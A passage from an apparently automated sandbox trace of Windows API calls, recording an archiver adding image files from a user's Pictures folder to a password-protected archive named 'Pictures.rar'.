lpDistanceToMoveHigh=0x16d250*=0) returned 0xac6ee [0060.097] SetFilePointer (in: hFile=0x198, lDistanceToMove=115, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0xac761 [0060.097] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0060.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0060.097] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0060.097] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0060.097] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0060.097] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x12f80, lpOverlapped=0x0) returned 1 [0060.099] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0060.099] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.099] SetFilePointer (in: hFile=0x198, lDistanceToMove=706286, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0xac6ee [0060.099] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0xac6ee [0060.099] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c020 [0060.099] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c050 [0060.099] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c050, Size=0x48) returned 0x26fe80 [0060.099] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0060.099] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c050 [0060.099] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c050, Size=0x48) returned 0x26fed0 [0060.099] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0060.099] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0060.099] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c050 [0060.099] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c080 [0060.099] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c080 | out: hHeap=0x1b0000) returned 1 [0060.099] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c050 | out: hHeap=0x1b0000) returned 1 [0060.099] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c020, Size=0x48) returned 0x26fe80 [0060.099] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0060.099] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x73, lpOverlapped=0x0) returned 1 [0060.099] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c020 [0060.099] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x73) returned 0x2a0b050 [0060.099] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0060.099] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0060.099] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0xbf6e1 [0060.099] CloseHandle (hObject=0x1b0) returned 1 [0060.099] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0060.099] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.099] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0060.099] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.099] FindFirstFileW (in: lpFileName="HoZdmtHokVR3Wl.jpg", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0060.100] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0060.100] CreateFileW (lpFileName="HoZdmtHokVR3Wl.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\hozdmthokvr3wl.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0060.100] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0060.100] GetTickCount () returned 0xa6560e [0060.100] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0060.100] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0060.100] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0060.100] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0060.100] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="y_NnvZ hOSogKdF.gif") returned 19 [0060.100] SetWindowTextW (hWnd=0x1024c, lpString="HoZdmtHokVR3Wl.jpg") returned 1 [0060.100] GetTickCount () returned 0xa6560e [0060.100] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0060.100] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0060.101] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0060.101] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0060.101] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x30f)) [0060.101] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0060.101] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13544125045) returned 1 [0060.101] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0xa01b, lpOverlapped=0x0) returned 1 [0060.102] ReadFile (in: hFile=0x1b0, lpBuffer=0x36da05b, nNumberOfBytesToRead=0xf5fe5, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36da05b*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0060.102] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0060.102] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.102] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c050 [0060.102] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c080 [0060.102] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c080, Size=0x48) returned 0x26fed0 [0060.102] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0060.102] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c080 [0060.102] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c080, Size=0x48) returned 0x26fe80 [0060.102] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0060.102] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0060.102] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c080 [0060.102] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0b0 [0060.102] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c0b0 | out: hHeap=0x1b0000) returned 1 [0060.102] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c080 | out: hHeap=0x1b0000) returned 1 [0060.102] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c050, Size=0x48) returned 0x26fed0 [0060.102] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0060.102] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0060.102] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0060.103] GetTickCount () returned 0xa6560e [0060.103] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13544384109) returned 1 [0060.103] GetTickCount () returned 0xa6560e [0060.104] GetTickCount () returned 0xa6560e [0060.104] GetTickCount () returned 0xa6560e [0060.104] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0060.104] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0060.104] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.104] ResetEvent (hEvent=0x1a4) returned 1 [0060.104] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.106] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.106] ResetEvent (hEvent=0x1a4) returned 1 [0060.106] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.107] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.107] GetTickCount () returned 0xa6561e [0060.107] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13544761538) returned 1 [0060.107] GetTickCount () returned 0xa6561e [0060.107] GetTickCount () returned 0xa6561e [0060.107] GetTickCount () returned 0xa6561e [0060.107] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0060.107] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0060.107] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.107] ResetEvent (hEvent=0x190) returned 1 [0060.107] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.108] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0060.108] ResetEvent (hEvent=0x190) returned 1 [0060.108] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.109] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0060.109] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0060.109] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.109] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0xbf6e1 [0060.109] SetFilePointer (in: hFile=0x198, lDistanceToMove=102, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0xbf747 [0060.109] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0060.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0060.109] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0060.109] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0060.109] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0060.109] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0xa080, lpOverlapped=0x0) returned 1 [0060.110] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0060.110] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.110] SetFilePointer (in: hFile=0x198, lDistanceToMove=784097, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0xbf6e1 [0060.110] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0xbf6e1 [0060.110] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c050 [0060.110] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c080 [0060.110] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c080, Size=0x48) returned 0x26fe80 [0060.110] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0060.110] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c080 [0060.110] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c080, Size=0x48) returned 0x26fed0 [0060.110] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0060.110] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0060.110] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c080 [0060.110] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0b0 [0060.111] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c0b0 | out: hHeap=0x1b0000) returned 1 [0060.111] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c080 | out: hHeap=0x1b0000) returned 1 [0060.111] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c050, Size=0x48) returned 0x26fe80 [0060.111] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0060.111] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x66, lpOverlapped=0x0) returned 1 [0060.111] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c050 [0060.111] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x66) returned 0x272f50 [0060.111] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0060.111] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0060.111] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0xc97c7 [0060.111] CloseHandle (hObject=0x1b0) returned 1 [0060.111] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0060.111] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.111] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0060.111] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.111] FindFirstFileW (in: lpFileName="Itucwf.jpg", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0060.111] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0060.111] CreateFileW (lpFileName="Itucwf.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\itucwf.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0060.206] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0060.206] GetTickCount () returned 0xa6567b [0060.206] GetLastError () returned 0x0 [0060.207] SetLastError (dwErrCode=0x0) [0060.207] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0060.207] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0060.207] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16bc00, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0060.207] SetWindowTextW (hWnd=0x1024e, lpString=" 0%") returned 1 [0060.207] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0060.208] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0060.208] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0060.208] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0060.208] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0060.208] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="HoZdmtHokVR3Wl.jpg") returned 18 [0060.208] SetWindowTextW (hWnd=0x1024c, lpString="Itucwf.jpg") returned 1 [0060.208] GetTickCount () returned 0xa6567b [0060.208] UpdateWindow (hWnd=0x10244) returned 1 [0060.208] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 1 [0060.208] GetMessageW (in: lpMsg=0x16d4a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d4a0) returned 1 [0060.208] GetFocus () returned 0x10268 [0060.208] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d4a0) returned 1 [0060.208] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0060.209] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0060.209] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0060.209] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x37c)) [0060.209] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0060.209] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13554903890) returned 1 [0060.209] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x100000, lpOverlapped=0x0) returned 1 [0060.228] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0060.228] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c080 [0060.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0b0 [0060.228] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c0b0, Size=0x48) returned 0x26fed0 [0060.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0060.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0b0 [0060.228] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c0b0, Size=0x48) returned 0x26fe80 [0060.228] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0060.228] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0060.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0b0 [0060.228] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0e0 [0060.228] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c0e0 | out: hHeap=0x1b0000) returned 1 [0060.228] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c0b0 | out: hHeap=0x1b0000) returned 1 [0060.228] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c080, Size=0x48) returned 0x26fed0 [0060.228] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0060.228] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0060.228] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0060.230] ReadFile (in: hFile=0x1b0, lpBuffer=0x7e20040, nNumberOfBytesToRead=0x300000, lpNumberOfBytesRead=0x16d4b0, lpOverlapped=0x0 | out: lpBuffer=0x7e20040*, lpNumberOfBytesRead=0x16d4b0*=0x232a2e, lpOverlapped=0x0) returned 1 [0060.256] GetTickCount () returned 0xa656aa [0060.256] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13559623456) returned 1 [0060.256] GetTickCount () returned 0xa656aa [0060.256] GetTickCount () returned 0xa656aa [0060.256] GetTickCount () returned 0xa656aa [0060.256] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 1 [0060.256] GetMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d400) returned 1 [0060.256] GetFocus () returned 0x10268 [0060.256] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d400) returned 1 [0060.257] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0060.257] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0060.257] ResetEvent (hEvent=0x1a4) returned 1 [0060.257] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.257] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.261] ResetEvent (hEvent=0x1a4) returned 1 [0060.261] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.261] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.264] ResetEvent (hEvent=0x1a4) returned 1 [0060.264] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.264] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.268] ResetEvent (hEvent=0x1a4) returned 1 [0060.268] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.268] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.272] ResetEvent (hEvent=0x1a4) returned 1 [0060.272] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.272] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.275] ResetEvent (hEvent=0x1a4) returned 1 [0060.276] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.276] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.279] ResetEvent (hEvent=0x1a4) returned 1 [0060.279] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.279] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0060.283] ResetEvent (hEvent=0x1a4) returned 1 [0060.283] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0060.283] WaitForSingleObject 